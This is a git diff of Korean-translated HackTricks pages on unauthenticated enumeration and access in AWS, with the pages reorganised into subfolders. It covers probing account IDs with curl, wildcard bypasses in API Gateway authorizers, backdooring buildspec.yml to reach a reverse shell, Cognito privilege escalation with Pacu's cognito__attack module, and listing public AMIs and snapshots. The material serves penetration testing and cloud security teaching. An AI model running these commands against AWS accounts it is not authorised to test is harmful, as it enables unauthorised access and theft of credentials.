계정 ID - -대상이 있다면, 대상과 관련된 계정 ID를 식별하기 위한 방법이 있습니다. - -### 무작위 대입 공격 - -잠재적인 계정 ID와 별칭 목록을 생성하고 이를 확인합니다. -```bash -# Check if an account ID exists -curl -v https://.signin.aws.amazon.com -## If response is 404 it doesn't, if 200, it exists -## It also works from account aliases -curl -v https://vodafone-uk2.signin.aws.amazon.com -``` -You can [automate this process with this tool](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py). - -### OSINT - -조직과 관련된 **별칭**이 포함된 `.signin.aws.amazon.com` URL을 찾으세요. - -### Marketplace - -벤더가 **마켓플레이스에 인스턴스가 있는 경우,** 그가 사용한 AWS 계정의 소유자 ID(계정 ID)를 얻을 수 있습니다. - -### Snapshots - -- 공개 EBS 스냅샷 (EC2 -> Snapshots -> Public Snapshots) -- RDS 공개 스냅샷 (RDS -> Snapshots -> All Public Snapshots) -- 공개 AMI (EC2 -> AMIs -> Public images) - -### Errors - -많은 AWS 오류 메시지(접근 거부 포함)가 해당 정보를 제공합니다. - -## References - -- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md new file mode 100644 index 000000000..634d51006 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md @@ -0,0 +1,43 @@ +# AWS - Accounts Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## 계정 ID + +타겟이 있는 경우 대상과 관련된 계정들의 계정 ID를 식별하려 시도할 수 있는 방법들이 있다. + +### Brute-Force + +잠재적인 계정 ID와 별칭 목록을 생성한 다음 확인한다 +```bash +# Check if an account ID exists +curl -v https://.signin.aws.amazon.com +## If response is 404 it doesn't, if 200, it exists +## It also works from account aliases +curl -v https://vodafone-uk2.signin.aws.amazon.com +``` +You can [automate this process with this tool](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py). + +### OSINT + +조직과 관련된 alias를 가진 `.signin.aws.amazon.com` 형식의 urls를 찾아보세요. + +### Marketplace + +공급업체가 **instances in the marketplace,** 를 가지고 있다면 해당 업체가 사용한 AWS 계정의 owner id (account id)를 얻을 수 있습니다. + +### Snapshots + +- Public EBS snapshots (EC2 -> Snapshots -> Public Snapshots) +- RDS public snapshots (RDS -> Snapshots -> All Public Snapshots) +- Public AMIs (EC2 -> AMIs -> Public images) + +### Errors + +많은 AWS 오류 메시지(심지어 access denied조차)에서 해당 정보를 얻을 수 있습니다. + +## References + +- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md deleted file mode 100644 index 0a383708e..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md +++ /dev/null @@ -1,52 +0,0 @@ -# AWS - API Gateway 인증되지 않은 열거 - -{{#include ../../../banners/hacktricks-training.md}} - -### API 호출 우회 - -[Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE) 강연에 따르면, Lambda Authorizers는 API 엔드포인트를 호출할 수 있는 권한을 부여하기 위해 **IAM 구문**을 사용하여 구성할 수 있습니다. 이는 [**문서에서 가져온 내용**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html)입니다: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Permission", -"Action": ["execute-api:Execution-operation"], -"Resource": [ -"arn:aws:execute-api:region:account-id:api-id/stage/METHOD_HTTP_VERB/Resource-path" -] -} -] -} -``` -이 엔드포인트를 호출하기 위한 권한을 부여하는 방법의 문제는 **"\*"가 "모든 것"을 의미**하며 **더 이상 regex 구문이 지원되지 않**는다는 것입니다. - -몇 가지 예시: - -- 각 사용자에게 `/dashboard/user/{username}`에 대한 접근을 허용하기 위해 `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*`와 같은 규칙을 사용하면, 예를 들어 `/admin/dashboard/createAdmin`과 같은 다른 경로에 대한 접근도 허용됩니다. - -> [!WARNING] -> **"\*"는 슬래시로 확장을 멈추지 않**으므로, 예를 들어 api-id에 "\*"를 사용하면 최종 regex가 여전히 유효한 한 "모든 단계" 또는 "모든 메서드"를 나타낼 수 있습니다.\ -> 따라서 `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\ -> 는 예를 들어 `/prod/GET/dashboard/admin` 경로에 대한 테스트 단계에 대한 POST 요청을 검증할 수 있습니다. - -항상 접근을 허용하고자 하는 내용을 명확히 하고, 부여된 권한으로 다른 시나리오가 가능한지 확인해야 합니다. - -자세한 정보는 [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html) 외에도 [**이 공식 aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints)에서 권한 부여자를 구현하는 코드를 찾을 수 있습니다. - -### IAM 정책 주입 - -같은 [**talk**](https://www.youtube.com/watch?v=bsPKk7WDOnE)에서 코드가 **사용자 입력**을 사용하여 **IAM 정책을 생성**하는 경우, 와일드카드(및 "." 또는 특정 문자열과 같은 다른 것들)가 포함될 수 있으며, 이는 **제한을 우회**하는 목표를 가지고 있습니다. - -### 공개 URL 템플릿 -``` -https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided} -``` -### 공개 API Gateway URL에서 계정 ID 가져오기 - -S3 버킷, Data Exchange 및 Lambda URL 게이트웨이와 마찬가지로, 공개 API Gateway URL에서 **`aws:ResourceAccount`** **정책 조건 키**를 악용하여 계정의 계정 ID를 찾는 것이 가능합니다. 이는 정책의 **`aws:ResourceAccount`** 섹션에서 와일드카드를 악용하여 한 번에 한 문자씩 계정 ID를 찾음으로써 이루어집니다.\ -이 기술은 태그 키를 알고 있다면 **태그의 값**을 가져오는 것도 허용합니다(흥미로운 기본 태그가 몇 개 있습니다). - -자세한 정보는 [**원본 연구**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/)와 이 악용을 자동화하는 도구 [**conditional-love**](https://github.com/plerionhq/conditional-love/)에서 확인할 수 있습니다. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md new file mode 100644 index 000000000..d5475bb38 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md @@ -0,0 +1,63 @@ +# AWS - API Gateway Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +### API Invoke bypass + +토크 [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE)에 따르면, Lambda Authorizers는 **using IAM syntax**로 구성하여 API 엔드포인트를 invoke할 수 있는 권한을 부여할 수 있습니다. 이는 [**from the docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html): +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Permission", +"Action": ["execute-api:Execution-operation"], +"Resource": [ +"arn:aws:execute-api:region:account-id:api-id/stage/METHOD_HTTP_VERB/Resource-path" +] +} +] +} +``` +The problem with this way to give permissions to invoke endpoints is that the **"\*" implies "anything"** and there is **no more regex syntax supported**. + +Some examples: + +- A rule such as `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*` in order to give each user access to `/dashboard/user/{username}` will give them access to other routes such as `/admin/dashboard/createAdmin` for example. + +> [!WARNING] +> Note that **"\*" doesn't stop expanding with slashes**, therefore, if you use "\*" in api-id for example, it could also indicate "any stage" or "any method" as long as the final regex is still valid.\ +> So `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\ +> Can validate a post request to test stage to the path `/prod/GET/dashboard/admin` for example. + +엔드포인트 호출 권한을 이렇게 부여할 때의 문제는 **"\*"가 "무엇이든"을 의미**하며 **정규표현식(regex) 문법을 더 이상 지원하지 않는다는 것**입니다. + +예시: + +- 각각의 사용자에게 `/dashboard/user/{username}` 접근을 허용하기 위해 `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*` 같은 규칙을 사용하면, 예를 들어 `/admin/dashboard/createAdmin` 같은 다른 경로에도 접근이 허용됩니다. + +> [!WARNING] +> **"\*"는 슬래시로 확장을 멈추지 않습니다**, 따라서 예를 들어 api-id에 "\*"를 사용하면 최종 표현식이 여전히 유효한 한 "any stage"나 "any method"를 나타낼 수도 있습니다.\ +> 따라서 `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\ +> 는 예를 들어 `/prod/GET/dashboard/admin` 경로의 test 스테이지에 대한 POST 요청을 유효한 것으로 판단할 수 있습니다. + +허용하려는 접근을 항상 명확히 정의하고, 부여된 권한으로 다른 시나리오가 가능한지 확인해야 합니다. + +자세한 정보는 [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html)를 참고하고, authorizer를 구현하는 코드는 [**this official aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints)에서 확인할 수 있습니다. + +### IAM Policy Injection + +In the same [**talk** ](https://www.youtube.com/watch?v=bsPKk7WDOnE)it's exposed the fact that if the code is using **user input** to **generate the IAM policies**, wildcards (and others such as "." or specific strings) can be included in there with the goal of **bypassing restrictions**. + +### 공개 URL 템플릿 +``` +https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided} +``` +### 공개 API Gateway URL에서 계정 ID 가져오기 + +S3 buckets, Data Exchange 및 Lambda URLs gateways와 마찬가지로, 공개 API Gateway URL에서 **`aws:ResourceAccount`** **정책 조건 키**를 악용하여 계정 ID를 찾아낼 수 있습니다. 이는 정책의 **`aws:ResourceAccount`** 섹션에서 와일드카드를 악용해 계정 ID를 한 글자씩 찾아내는 방식으로 수행됩니다.\ +이 기법은 태그 키를 알고 있을 경우 **태그 값**도 얻을 수 있습니다(기본적으로 흥미로운 몇 가지가 있습니다). + +자세한 내용은 [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) 및 이 익스플로잇을 자동화하는 도구 [**conditional-love**](https://github.com/plerionhq/conditional-love/)를 참고하세요. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md deleted file mode 100644 index 626adce5a..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md +++ /dev/null @@ -1,9 +0,0 @@ -# AWS - Cloudfront Unauthenticated Enum - -{{#include ../../../banners/hacktricks-training.md}} - -### 공개 URL 템플릿 -``` -https://{random_id}.cloudfront.net -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md new file mode 100644 index 000000000..af9a256d6 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md @@ -0,0 +1,9 @@ +# AWS - Cloudfront Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +### 공개 URL 템플릿 +``` +https://{random_id}.cloudfront.net +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md deleted file mode 100644 index 07d5cecac..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md +++ /dev/null @@ -1,33 +0,0 @@ -# AWS - CodeBuild 비인증 접근 - -{{#include ../../../banners/hacktricks-training.md}} - -## CodeBuild - -자세한 정보는 이 페이지를 확인하세요: - -{{#ref}} -../aws-services/aws-codebuild-enum.md -{{#endref}} - -### buildspec.yml - -**`buildspec.yml`**이라는 파일이 포함된 리포지토리에 대한 쓰기 접근 권한을 손상시키면, 이 파일을 **백도어**할 수 있습니다. 이 파일은 CodeBuild 프로젝트 내에서 실행될 **명령어**를 지정하며, 비밀 정보를 유출하고, 수행되는 작업을 손상시키며, **CodeBuild IAM 역할 자격 증명**을 손상시킬 수 있습니다. - -**`buildspec.yml`** 파일이 없더라도 Codebuild가 사용되고 있다는 것을 알고 있다면 (또는 다른 CI/CD가 사용되고 있다면) **실행될 합법적인 코드**를 수정하는 것만으로도 예를 들어 리버스 셸을 얻을 수 있습니다. - -관련 정보는 Github Actions 공격 방법에 대한 페이지를 확인할 수 있습니다 (이와 유사함): - -{{#ref}} -../../../pentesting-ci-cd/github-security/abusing-github-actions/ -{{#endref}} - -## AWS CodeBuild의 자체 호스팅 GitHub Actions 러너 - -[**문서에 명시된 바와 같이**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), **CodeBuild**를 구성하여 설정된 Github 리포지토리 내에서 워크플로가 트리거될 때 **자체 호스팅 Github Actions**를 실행할 수 있습니다. 이는 **`Event type`**이 **`WORKFLOW_JOB_QUEUED`**를 포함해야 하므로 CodeBuild 프로젝트 구성을 확인하여 감지할 수 있으며, Github 워크플로에서는 다음과 같이 **자체 호스팅** 러너를 선택합니다: -```bash -runs-on: codebuild--${{ github.run_id }}-${{ github.run_attempt }} -``` -이 새로운 Github Actions와 AWS 간의 관계는 Github에서 AWS를 타협할 수 있는 또 다른 방법을 생성합니다. Github의 코드는 IAM 역할이 연결된 CodeBuild 프로젝트에서 실행됩니다. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md new file mode 100644 index 000000000..23a38f756 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md @@ -0,0 +1,33 @@ +# AWS - CodeBuild 인증되지 않은 접근 + +{{#include ../../../../banners/hacktricks-training.md}} + +## CodeBuild + +자세한 내용은 다음 페이지를 확인하세요: + +{{#ref}} +../../aws-services/aws-codebuild-enum.md +{{#endref}} + +### buildspec.yml + +만약 write access를 가진 상태에서 **`buildspec.yml`**이라는 파일이 포함된 리포지토리를 장악하면, 이 파일을 **backdoor**할 수 있습니다. 이 파일은 CodeBuild 프로젝트 내부에서 실행될 **commands that are going to be executed**를 지정하며, secrets를 exfiltrate하고 수행되는 작업을 조작하며 또한 **CodeBuild IAM role credentials**을 compromise할 수 있습니다. + +또한 **`buildspec.yml`** 파일이 없더라도 Codebuild가 사용 중인 것으로 알고 있다면(또는 다른 CI/CD), 실행될 legit한 코드를 **modifying some legit code** 하는 것도 예를 들어 reverse shell을 얻는 방법이 될 수 있습니다. + +관련 정보는 이와 유사한 Github Actions 공격 방법 페이지를 확인하세요: + +{{#ref}} +../../../../pentesting-ci-cd/github-security/abusing-github-actions/ +{{#endref}} + +## AWS CodeBuild에서의 Self-hosted GitHub Actions runners + +[**indicated in the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html)에 따르면, 구성된 Github repo 내부에서 workflow가 트리거될 때 **CodeBuild**가 **self-hosted Github actions**를 실행하도록 설정할 수 있습니다. 이는 CodeBuild 프로젝트 구성을 확인하여 감지할 수 있는데, **`Event type`**에 **`WORKFLOW_JOB_QUEUED`**가 포함되어야 하고, Github Workflow에서는 다음과 같이 **self-hosted** runner를 선택하기 때문입니다: +```bash +runs-on: codebuild--${{ github.run_id }}-${{ github.run_attempt }} +``` +Github Actions와 AWS 간의 이러한 새로운 관계는, Github의 코드가 IAM role이 연결된 CodeBuild 프로젝트에서 실행되기 때문에 Github에서 AWS를 침해할 수 있는 또 다른 방법을 만듭니다. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md deleted file mode 100644 index d3e6db14c..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md +++ /dev/null @@ -1,44 +0,0 @@ -# AWS - Cognito Unauthenticated Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## 인증되지 않은 Cognito - -Cognito는 개발자가 **앱 사용자에게 AWS 서비스에 대한 접근 권한을 부여할 수 있도록 하는 AWS 서비스**입니다. 개발자는 앱에서 **인증된 사용자에게 IAM 역할을 부여**하고, **인증되지 않은 사용자에게도 IAM 역할을 부여**할 수 있습니다. - -Cognito에 대한 기본 정보는 다음을 확인하세요: - -{{#ref}} -../aws-services/aws-cognito-enum/ -{{#endref}} - -### 아이덴티티 풀 ID - -아이덴티티 풀은 **아이덴티티 풀 ID를 아는 인증되지 않은 사용자에게 IAM 역할을 부여**할 수 있습니다(이는 **찾기**가 비교적 일반적입니다). 이 정보를 가진 공격자는 **해당 IAM 역할에 접근**하고 이를 악용할 수 있습니다.\ -또한, IAM 역할은 아이덴티티 풀에 접근하는 **인증된 사용자에게도 할당될 수 있습니다**. 공격자가 **사용자를 등록**하거나 아이덴티티 풀에서 사용되는 **아이덴티티 제공자에 이미 접근**할 수 있다면, **인증된 사용자에게 부여된 IAM 역할에 접근**하고 그 권한을 남용할 수 있습니다. - -[**여기에서 방법을 확인하세요**](../aws-services/aws-cognito-enum/cognito-identity-pools.md). - -### 사용자 풀 ID - -기본적으로 Cognito는 **새 사용자를 등록**할 수 있도록 허용합니다. 사용자를 등록할 수 있는 능력은 **기본 애플리케이션**이나 **Cognito 사용자 풀을 아이덴티티 제공자로 사용하는 아이덴티티 풀의 인증된 IAM 접근 역할**에 **접근**할 수 있게 해줄 수 있습니다. [**여기에서 방법을 확인하세요**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration). - -### 펜테스팅 및 열거를 위한 Pacu 모듈 - -[Pacu](https://github.com/RhinoSecurityLabs/pacu), AWS 악용 프레임워크는 이제 계정 내 모든 Cognito 자산의 열거를 자동화하고 약한 구성, 접근 제어에 사용되는 사용자 속성 등을 플래그하고, 사용자 생성(다단계 인증 지원 포함) 및 수정 가능한 사용자 정의 속성, 사용 가능한 아이덴티티 풀 자격 증명, ID 토큰의 가정 가능한 역할 등을 기반으로 권한 상승을 자동화하는 "cognito__enum" 및 "cognito__attack" 모듈을 포함합니다. - -모듈 기능에 대한 설명은 [블로그 게시물](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2) 2부를 참조하세요. 설치 지침은 주요 [Pacu](https://github.com/RhinoSecurityLabs/pacu) 페이지를 참조하세요. - -#### 사용법 - -주어진 아이덴티티 풀 및 사용자 풀 클라이언트에 대해 사용자 생성 및 모든 권한 상승 벡터를 시도하는 샘플 `cognito__attack` 사용법: -```bash -Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools -us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients -59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX -``` -샘플 cognito\_\_enum 사용법으로 현재 AWS 계정에서 볼 수 있는 모든 사용자 풀, 사용자 풀 클라이언트, 아이덴티티 풀, 사용자 등을 수집합니다: -```bash -Pacu (new:test) > run cognito__enum -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md new file mode 100644 index 000000000..f6268dbb2 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md @@ -0,0 +1,44 @@ +# AWS - Cognito Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## 인증되지 않은 Cognito + +Cognito는 개발자가 **앱 사용자에게 AWS 서비스 접근 권한을 부여**할 수 있게 해주는 AWS 서비스입니다. 개발자는 앱에서 **IAM roles to authenticated users**을 부여(사람들이 그냥 가입할 수 있도록 설정되어 있을 수 있음)할 수 있고, **IAM role to unauthenticated users**도 부여할 수 있습니다. + +For basic info about Cognito check: + +{{#ref}} +../../aws-services/aws-cognito-enum/ +{{#endref}} + +### Identity Pool ID + +Identity Pools는 **Identity Pool ID**만 알고 있는 **unauthenticated users**에게 **IAM roles**을 부여할 수 있습니다(Identity Pool ID를 찾는 것은 꽤 흔합니다). 공격자가 이 정보를 알면 해당 **IAM role**에 접근하려 시도하고 이를 악용할 수 있습니다. +또한, IAM roles는 Identity Pool에 접근하는 **authenticated users**에게 할당될 수도 있습니다. 공격자가 **register a user**를 할 수 있거나 이미 Identity Pool에서 사용하는 identity provider에 **access** 권한이 있다면, 인증된 사용자에게 부여되는 **IAM role**에 접근하여 권한을 남용할 수 있습니다. + +[**Check how to do that here**](../../aws-services/aws-cognito-enum/cognito-identity-pools.md). + +### User Pool ID + +By default Cognito allows to **register new user**. 사용자가 가입할 수 있다는 것은 **underlaying application**에 대한 **access** 권한을 얻거나, Cognito User Pool을 identity provider로 사용하는 Identity Pool의 **authenticated IAM access role of an Identity Pool**에 접근할 수 있음을 의미할 수 있습니다. [**Check how to do that here**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#registration). + +### Pacu modules for pentesting and enumeration + +[Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework,에는 이제 모든 Cognito 자산을 계정에서 열거하고 잘못된 구성, 접근 제어에 사용되는 사용자 속성 등을 식별하는 "cognito__enum"과 "cognito__attack" 모듈이 포함되어 있으며, 사용자 생성(예: MFA 지원 포함)과 수정 가능한 custom attributes, 사용 가능한 identity pool 자격 증명, id 토큰에서의 assumable roles 등을 기반으로 한 권한 상승을 자동화합니다. + +For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page. + +#### Usage + +Sample `cognito__attack` usage to attempt user creation and all privesc vectors against a given identity pool and user pool client: +```bash +Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools +us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients +59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX +``` +현재 AWS 계정에서 볼 수 있는 모든 user pools, user pool clients, identity pools, users 등을 수집하기 위한 cognito__enum 사용 예시: +```bash +Pacu (new:test) > run cognito__enum +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md deleted file mode 100644 index 975d7c16d..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md +++ /dev/null @@ -1,9 +0,0 @@ -# AWS - DocumentDB 비인증 열거 - -{{#include ../../../banners/hacktricks-training.md}} - -### 공개 URL 템플릿 -``` -.cluster-..docdb.amazonaws.com -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md new file mode 100644 index 000000000..d1096277f --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md @@ -0,0 +1,9 @@ +# AWS - DocumentDB Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +### 공개 URL 템플릿 +``` +.cluster-..docdb.amazonaws.com +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md deleted file mode 100644 index 4a40b1271..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md +++ /dev/null @@ -1,15 +0,0 @@ -# AWS - DynamoDB 인증되지 않은 접근 - -{{#include ../../../banners/hacktricks-training.md}} - -## Dynamo DB - -자세한 정보는 다음을 확인하세요: - -{{#ref}} -../aws-services/aws-dynamodb-enum.md -{{#endref}} - -모든 AWS 또는 일부 손상된 외부 AWS 계정에 대한 접근을 제공하거나 DynamoDB와 통신하는 애플리케이션에서 SQL 인젝션이 있는 경우를 제외하고는 DynamoDB에서 AWS 계정에 접근할 수 있는 다른 옵션은 잘 모르겠습니다. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md new file mode 100644 index 000000000..5c03ba079 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md @@ -0,0 +1,15 @@ +# AWS - DynamoDB 인증되지 않은 액세스 + +{{#include ../../../../banners/hacktricks-training.md}} + +## Dynamo DB + +자세한 내용은 다음을 확인하세요: + +{{#ref}} +../../aws-services/aws-dynamodb-enum.md +{{#endref}} + +전체 AWS에 대한 접근 권한을 부여하거나, 일부 손상된 외부 AWS 계정을 통해 접근하거나, DynamoDB와 통신하는 애플리케이션에 SQL injections가 있는 경우를 제외하면, DynamoDB로부터 AWS 계정에 접근할 수 있는 다른 방법은 잘 모릅니다. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md similarity index 51% rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md index bb3002047..67ed6b9f0 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md @@ -1,18 +1,18 @@ # AWS - EC2 인증되지 않은 열거 -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} -## EC2 및 관련 서비스 +## EC2 & 관련 서비스 -이 페이지에서 더 많은 정보를 확인하세요: +자세한 정보는 이 페이지에서 확인하세요: {{#ref}} -../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ +../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} ### 공개 포트 -**가상 머신의 모든 포트를 인터넷에 노출**할 수 있습니다. 노출된 포트에서 **무엇이 실행되고 있는지**에 따라 공격자가 이를 악용할 수 있습니다. +가상 머신의 **임의의 포트를 인터넷에 노출**하는 것이 가능합니다. 노출된 포트에서 **무엇이 실행되는지에 따라** 공격자가 이를 악용할 수 있습니다. #### SSRF @@ -20,9 +20,9 @@ https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html {{#endref}} -### 공개 AMI 및 EBS 스냅샷 +### 공개 AMIs & EBS Snapshots -AWS는 **누구나 AMI 및 스냅샷을 다운로드할 수 있도록 접근을 허용**합니다. 자신의 계정에서 이러한 리소스를 매우 쉽게 나열할 수 있습니다: +AWS는 **누구나 AMIs와 Snapshots를 다운로드할 수 있도록 접근 권한을 부여할 수 있습니다**. 이러한 리소스는 자신의 계정에서 매우 쉽게 나열할 수 있습니다: ```bash # Public AMIs aws ec2 describe-images --executable-users all @@ -37,7 +37,7 @@ aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLo aws ec2 describe-snapshots --restorable-by-user-ids all aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")' ``` -누구나 복원할 수 있는 스냅샷을 찾으면, 스냅샷을 다운로드하고 약탈하는 방법에 대한 지침을 보려면 [AWS - EBS Snapshot 